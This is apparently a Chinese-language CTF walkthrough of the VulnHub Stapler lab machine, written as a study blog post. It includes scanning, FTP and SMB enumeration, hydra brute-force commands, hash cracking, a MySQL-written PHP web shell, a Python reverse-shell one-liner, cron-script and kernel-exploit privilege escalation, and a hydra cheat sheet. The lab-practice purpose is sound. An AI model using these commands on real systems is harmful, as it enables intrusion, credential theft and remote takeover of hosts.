测试
vluhub靶场搭建
Hack the Stapler VM (CTF Challenge) - Hacking Articles
如果导入虚拟机报错
解决方法:编辑Stapler.ovf文件,将文档中所有的Caption
替换为ElementName
,保存;再删除Stapler.mf文件;再导入即可
在本文中,我们将尝试攻击并获得对 Stapler 的根访问权限:来自 VulnHub 的 1 个挑战。目标是侦察、枚举和利用此易受攻击的计算机来获取 root 访问权限并读取 flag.txt 的内容。我们被告知有各种各样的方法可以做到这一点,但我们已经尝试并找到了最简单的方法。
前言
为啥要刷这个靶机,因为靶机中涉及的内容提权什么的挺多的,来学习一下。
换成桥接网络,就可以让靶机被扫描到
nmap -sS -sV -O -p- 192.168.100.45
扫描端口
nmap -sS -sV -O -p- 192.168.100.45
nmap -p- -sC --min-rate 5000 192.168.100.45
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp open domain dnsmasq 2.75
80/tcp open http PHP cli server 5.5 or later
123/tcp closed ntp
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp open doom?
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
细看端口21
nmap -sS -sV -O -A -p21 192.168.100.45
发现匿名登陆漏洞
直接ftp登陆,没密码
发现里面有一个note文件
在ftp上get note,就会下载到本地
┌──(root㉿node1)-[/home/kali]
└─# cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
再利用hydra工具对FTP服务进行密码爆破
hydra -L user.txt -e nsr 192.168.100.45 ftp
// -L:指定用户名字典
// -e:还可再选的选项,n:null,空密码试探 s:使用与用户名一样的密码试探 r:reverse,使用用户名逆转的密码试探
继续用ftp登陆
ftp 192.168.100.45
pwd发现再/目录
get passwd下载下来
cat passwd | grep -E “/bin/sh | /bin/bash | /bin/zsh” | cut -d : -f 1 | tee sshuser.txt 选取出有登陆shell的用户 |
cut -d : -f 1 以冒号为分隔符取出第一个, 也就是用户名
登陆账号 SHayslett进去,发现也是没啥
如果换成22端口,ssh服务
ssh SHayslett@192.168.100.45 也没啥
端口139:SMB服务
SMB服务是一个网络通讯协议,常用于Linux和Windows间的文件共享
enum4linux工具用于枚举Windows和Samba主机中的数据
enum4linux -a 192.168.100.45 | tee smb.txt
// -a:使用所有简单枚举
在结果中发现两个可以连接的共享路径
利用smbclient工具连进SMB服务
smbclient -N //192.168.189.130/tmp
// -N:空口令登录
同样方式进入/kathy
发现了一个txt文档I'm making sure to backup anything important for Initech, Kathy
端口666未知服务
对于未知的服务一般用nc来探测,然后发现是一个压缩包里面还有图片
将数据下载到本地解压,得到一张图片但是目前感觉用处不大
nc 192.168.100.45 666 > 666 && unzip 666
端口3306:MySQL服务
nc搞了一下发现只能看出操作系统ubuntu,其他的并没信息
端口12380:HTTP服务
直接访问终于看到页面了
这里看wp说回想起之前SSH连进去后发现的https目录,尝试用https访问,终于发现靶机的web页面
也就是这里之前ssh连接发现的https
从ssh中看出https的目录结构
这里获得了mysql数据库的账号密码,直接mysql -u root -p登陆进去,密码可以看到 是经过加密的
用hash-identifiter看这是什么加密
这里卡住了本来直接用在线网络发现不对,看✌们wp说的是用john解密,rockyou.txt这个不知道是啥(疑惑)
john --wordlist=/usr/share/wordlists/rockyou.txt sql1.txt
cd ~/.john
vi john.pot
账号:john
密码:incorrect
发现John还是一个admin权限
补充
nikto工具扫出https
其实这里获得的目录,通过ssh可以直接看到
nikto –host http://192.168.100.45:12380/
从结果中我们可以看到扫出了SSL证书,说明确实要用https访问,并且结果中还扫出来几个目录
wpscan
访问nikto扫出的几个目录,在blogblog页面底部有显示wordpress,我们可以用wpscan工具(专门用来扫wordpress网站)来扫描这个网站(使用前需要先配置API token
wpscan --url https://192.168.189.130:12380/blogblog/ --enumerate ap --disable-tls-checks --plugins-detection aggressive| tee wpscan.txt
// --enumerate:枚举信息 ap选项:枚举所有插件
// --disable-tls-checks:忽略TLS检查
// --plugins-detection:使用对应的模式枚举插件 aggressive:主动模式
扫描出来插件有LFI漏洞,然后用exp打即可
https://www.exploit-db.com/exploits/39646,然后会在靶机上生成一张图片
wget --no-check-certificate https://192.168.189.130:12380/blogblog/wp-content/uploads/130588693.jpeg
下载到本地发现就是mysql wp-config.php的内容,也是一种获取数据库账号密码的操作通过漏洞
发现一个能上传的界面
通过定时任务提权
ll /etc/*cron*
ssh ppeter@192.168.100.45 -t ‘/bin/bash’ 更好的观看命令
find / -nama logrotate* 2>/dev/null 后面就是说将错误信息不要输出出来
找到 /etc/cron.d/logrotate计划任务
每五分钟执行一次脚本
ls -la /usr/local/sbin/cron-logrotate.sh发现是root权限运行的
echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-logrotate.sh
这里能修改定时文件中运行的脚本是因为,
ll /usr/local/sbin/cron-logrotate.sh
脚本权限为 rwx可写所以能修改
echo "cp /bin/bash /tmp/cronroot; chown root:root /tmp/cronroot; chmod u+s /tmp/cronroot" > /usr/local/sbin/cron-logrotate.sh
直接/tmp/cronroot -p获取root权限(也就是suid提权中的bash -p)
提权:CVE-2016-4557 内核漏洞提权
获取shell后,查看系统内核和发行版信息
uname -a //系统内核
lsb_release -a //发行版信息
得知内核版本为4.4.0-21-generic ,发行版为16.04LTS,利用CVE提权
wget https://gitee.com/novaiminipekka/exploitdb-bin-sploitsss/raw/master/bin-sploits/39772.zip
unzip 39772.zip
我们需要将其中的exploit.tar上传到靶机中,利用python在kali中起一个http服务
通过MySQL写马获得shell
mysql -h192.168.189.130 -uroot -pplbkac
MySQL [(none)]> SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/mysqlshell.php";
然后通过页面直接调用python命令反弹shell
cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.189.129",2334));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
hydra
# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
参数介绍:
-R 继续从上一次进度接着破解
-S 大写,采用SSL链接
-s<PORT> 小写,可通过这个参数指定非默认端口
-l<LOGIN> 指定破解的用户,对特定用户破解
-L<FILE> 指定用户名字典
-p<PASS> 小写,指定密码破解,少用,一般是采用密码字典
-P<FILE> 大写,指定密码字典
-e<ns> 可选选项,n:空密码试探,s:使用指定用户和密码试探
-C<FILE> 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M<FILE> 指定目标列表文件一行一条
-o<FILE> 指定结果输出文件
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t<TASKS> 同时运行的线程数,默认为16
-w<TIME> 设置最大超时的时间,单位秒,默认是30s
-v /-V 显示详细过程
各协议爆破命令实例
1、爆破SSH
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2、爆破FTP
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3、爆破SMB
hydra -l administrator -P pass.txt 192.168.0.2 smb
4、爆破rdp
hydra ip rdp -l administrator -P pass.txt -V
5、爆破POP3
hydra -l muts -P pass.txt my.pop3.mail pop3
6、爆破http-proxy
hydra -l admin -P pass.txt http-proxy://192.168.0.2
7、爆破web表单
hydra -l 用户名 -P 密码字典 -s 80 域名 http-post-form"/admin/login.php:username=^USER^&password=^PASS^:<密码错误的时候的报错>"
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。